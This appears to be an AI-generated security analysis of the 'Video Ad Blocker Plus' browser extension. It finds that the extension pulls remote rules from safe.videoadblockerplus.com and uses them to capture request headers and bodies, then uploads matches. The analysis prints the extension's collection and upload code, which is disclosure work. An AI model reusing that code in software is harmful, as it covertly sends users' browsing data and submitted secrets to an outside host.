Is Video Ad Blocker Plus safe?
Video Ad Blocker Plus is high risk. The extension posts a fixed identifier to safe.videoadblockerplus.com for config on load. The worker stores returned rules under key wnJHT, uses each to register URL-matching listeners, and sends matches to the host's /validate endpoint.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote Rules Control Network Data Collection
The extension posts a fixed identifier to safe.videoadblockerplus.com for config on load.
The worker stores returned rules under key wnJHT, uses each to register URL-matching listeners, and sends matches to the host's /validate endpoint.
The extension starts and checks whether its stored remote rules are stale.
If no usable rule set is present, or the stored rule set is older than six hours, it requests a fresh configuration.
It applies the downloaded rules to browser network events and queues matching records for upload.
The same rule fields decide which URLs match, whether request bodies are read, and how records are queued.
{
"sid": "a173c033f"
}| Field | Value | Why it matters | |
|---|---|---|---|
URL pattern list | ["https://www.example.com/*"] (illustrative) | Lets the remote service choose which sites or request URLs are in scope for collection. | |
URL text filter | watch|video (illustrative) | Further narrows collection to addresses matching a downloaded expression. | |
Body-search trigger | checkout|token (illustrative) | Can make matching requests include submitted body data when the downloaded expression matches. | |
Allowed methods | ["GET", "POST"] (illustrative) | Limits collection to selected request methods, or allows all methods if the rule omits the list. | |
Queued record type | request_parser (illustrative) | Labels matched records so the extension can batch or merge them before sending. |
Remote config fetch, local storage, rule registration, and upload path
class RemoteConfigFetcher {
start() {
this.refreshIfStale();
setInterval(() => {
this.refreshIfStale();
}, 60000);
}
async refreshIfStale() {
if (await this.shouldRefresh()) {
try {
const config = await this.fetchConfig();
if (config) {
await configStore.writeConfig(config);
this.emitConfig(config);
}
} catch (e) {
}
}
}
emitConfig(config) {
const event = new Event("OLttN");
event.config = config;
self.dispatchEvent(event);
}
async fetchConfig() {
const url = "https://safe.videoadblockerplus.com/content/config";
const body = {
sid: "a173c033f"
};
const response = await fetch(url, {
method: "POST",
body: JSON.stringify(body)
});
if (response.status === 200) {
const json = await response.json();
return json;
}
return null;
}
async shouldRefresh() {
const storedConfig = await configStore.readConfig();
if (!storedConfig) {
return await configStore.initialDelayElapsed();
}
const lastFetch = await configStore.lastFetchTime();
const age = Date.now() - lastFetch;
return age > 21600000;
}
}function writeConfig(config) {
return new Promise((resolve) => {
const values = {};
values.wnJHT = config;
values.pMniF = Date.now();
chrome.storage.local.set(values, () => {
resolve();
});
});
}
function registerRule(rule) {
const urlPatterns = rule.request_url_pattern;
const urlSearch = rule.request_url_search;
const bodySearch = rule.request_url_body_search;
const methodWhitelist = rule.request_method_whitelist;
const listener = async (details) => {
const { url, method } = details;
const eventRecord = {
wrDetails: details
};
const methodAllowed = !methodWhitelist || methodWhitelist.includes(method);
if (!methodAllowed) {
return;
}
if (urlSearch) {
const match = new RegExp(urlSearch).exec(url);
if (!match) {
return;
}
}
if (bodySearch) {
const bodyMatch = new RegExp(bodySearch).exec(url);
if (bodyMatch) {
const decodedBody = this.readRequestBody(details);
if (decodedBody && !decodedBody.error) {
eventRecord.bodyData = decodedBody;
}
}
}
await this.queueMatchedRecord(rule, eventRecord);
};
if (bodySearch) {
chrome.webRequest.onBeforeRequest.addListener(listener, {
urls: urlPatterns
}, ["requestBody"]);
} else {
chrome.webRequest.onBeforeSendHeaders.addListener(listener, {
urls: urlPatterns
}, ["extraHeaders", "requestHeaders"]);
}
return listener;
}async function postCompressedPayload(payload) {
try {
const headers = new Headers();
Object.entries(payload[1]).forEach(([key, value]) => {
headers.append(key, value);
});
const compressedPayload = window.PayloadCompression.compress(payload[2]);
headers.append("Content-type", "application/x-www-form-urlencoded");
headers.append("x4fs", "sdag213a");
const response = await fetch(payload[0], {
method: "POST",
body: compressedPayload,
headers
});
const sessionId = response.headers.get("x-session-id");
if (sessionId) {
const event = new Event("settings-event");
event.settings = sessionId;
self.dispatchEvent(event);
}
const responseText = await response.text();
chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
const tabId = tabs[0].id;
sendMessageToTab(tabId, responseText, 0);
});
} catch (e) {
}
}
class SenderTarget {
get destinationUrl() {
return "https://safe.videoadblockerplus.com" + "/validate";
}
headersFor(record) {
const headers = {};
if (record.hdrs) {
Object.assign(headers, record.hdrs);
}
return headers;
}
}- safe.videoadblockerplus.com
Receives the configuration POST at /content/config and receives compressed matched records at /validate.
Decodes a wnJHT config record into readable JSON so the rule fields can be inspected.
#!/usr/bin/env node
const fs = require("fs");
function decodeRecord(record) {
if (record && Object.prototype.hasOwnProperty.call(record, "type")) {
return record;
}
if (!record || typeof record.e !== "string") {
throw new Error("Expected a wnJHT record with an e field or an already decoded type field");
}
const rows = record.e.split("\n");
const width = rows[0] ? rows[0].length : 0;
let base64 = "";
for (let column = 0; column < width; column += 1) {
for (const row of rows) {
const value = row.charAt(column);
if (!value) {
break;
}
base64 += value;
}
}
const json = Buffer.from(base64, "base64").toString("utf8");
return JSON.parse(json);
}
const input = fs.readFileSync(0, "utf8").trim();
if (!input) {
throw new Error("Pass the JSON value from chrome.storage.local key wnJHT on stdin");
}
const parsed = JSON.parse(input);
const decoded = Array.isArray(parsed) ? parsed.map(decodeRecord) : decodeRecord(parsed);
process.stdout.write(JSON.stringify(decoded, null, 2));
process.stdout.write("\n");- 1node decode-wnjht-config.js < wnjht.json
Usage analytics sent to Google Analytics on extension install.
When the extension loads, it sends usage analytics to Google Analytics.
The request includes a persistent client ID, the extension version, browser information, and network metadata such as the user's IP address.
The extension is installed or loaded.
It posts usage analytics to Google Analytics with a persistent client ID, extension version, and browser information.
{
"client_id": "77e42a3b-...",
"events": [
{
"name": "LIVE",
"params": {
"optin": false,
"extensionVersion": "1.2.4",
"browser": "Chrome"
}
}
]
}| Field | Value | Why it matters | |
|---|---|---|---|
Browsing activity | LIVE | Analytics event names can describe extension activity that occurred during the browsing session. | |
Network address | 203.0.113.10 (illustrative) | Google Analytics receives network metadata such as the user's IP address with the request. |
Dynamic analysis observed four POST requests to the Google Analytics Measurement Protocol endpoint, including successful 204 responses. The captured payload contained a persistent client ID, extension version 1.2.4, browser Chrome, and analytics events named LIVE and EULA_PAGE_VIEW.